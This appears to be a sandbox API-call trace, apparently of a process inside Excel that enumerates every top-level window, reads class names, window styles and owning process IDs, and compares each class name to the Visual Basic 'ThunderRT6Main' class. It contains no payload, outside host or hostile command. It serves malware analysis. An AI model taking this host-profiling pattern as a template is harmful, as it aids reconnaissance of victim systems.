[0144.089] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.089] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.089] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.089] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0144.089] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0144.089] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0144.089] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0144.089] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0144.089] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0144.089] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.089] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0144.089] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0144.089] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0144.089] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0144.089] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0144.089] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0144.089] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0144.089] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0144.089] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0144.089] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0144.089] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.089] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0144.089] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0144.089] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0144.089] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0144.089] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0144.090] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0144.090] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0144.090] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0144.090] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0144.090] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0144.090] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.090] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0144.090] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0144.090] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0144.090] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0144.090] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0144.090] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0144.090] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0144.090] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0144.090] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0144.090] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0144.090] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0144.090] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0144.090] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.090] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0144.090] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0144.090] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0144.091] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0144.091] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0144.091] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0144.091] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.091] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.091] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0144.091] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0144.091] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0144.091] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0144.091] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0144.091] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0144.091] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0144.091] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0144.091] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0144.091] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0144.091] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.091] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.091] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0144.091] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0144.091] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0144.092] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0144.092] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0144.092] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0144.092] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.092] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0144.092] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0144.092] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0144.092] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0144.092] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0144.092] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0144.092] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.092] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0144.092] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0144.092] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0144.092] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0144.092] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0144.092] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0144.092] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.093] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0144.093] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0144.093] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0144.093] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0144.093] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0144.093] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0144.093] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.093] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0144.093] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0144.093] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0144.093] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0144.093] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0144.093] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0144.093] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.093] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0144.093] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0144.093] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0144.094] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0144.094] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0144.094] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0144.094] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.094] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.094] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0144.094] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0144.094] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0144.094] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0144.094] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0144.094] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0144.094] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.094] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.094] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0144.094] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0144.094] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0144.094] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0144.094] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0144.094] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0144.094] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.094] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.094] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0144.094] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0144.094] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0144.095] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0144.095] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0144.095] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0144.095] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0144.095] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0144.095] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0144.095] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0144.095] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0144.095] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0144.095] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0144.095] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0144.095] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0144.095] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0144.095] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0144.095] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0144.095] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0144.095] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0144.095] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0144.095] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0144.095] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0144.095] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0144.095] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0144.096] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0144.096] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0144.096] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0144.096] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0144.096] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0144.096] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0144.096] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0144.096] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0144.096] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0144.096] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0144.096] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0144.096] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0144.096] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0144.096] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0144.096] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0144.096] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0144.096] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0144.096] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0144.096] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0144.096] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0144.096] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0144.097] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0144.097] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.097] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0144.097] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0144.097] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0144.097] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0144.097] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0144.097] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.097] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0144.097] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0144.097] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0144.097] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.097] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0144.097] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0144.097] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.097] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0144.097] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0144.097] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0144.097] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0144.097] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0144.097] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.097] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0144.097] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0144.097] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0144.097] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0144.097] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0144.098] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0144.098] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0144.098] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0144.098] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.098] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0144.098] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.098] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0144.098] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0144.098] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.098] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0144.098] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.098] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0144.098] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.098] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.098] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.098] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0144.098] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 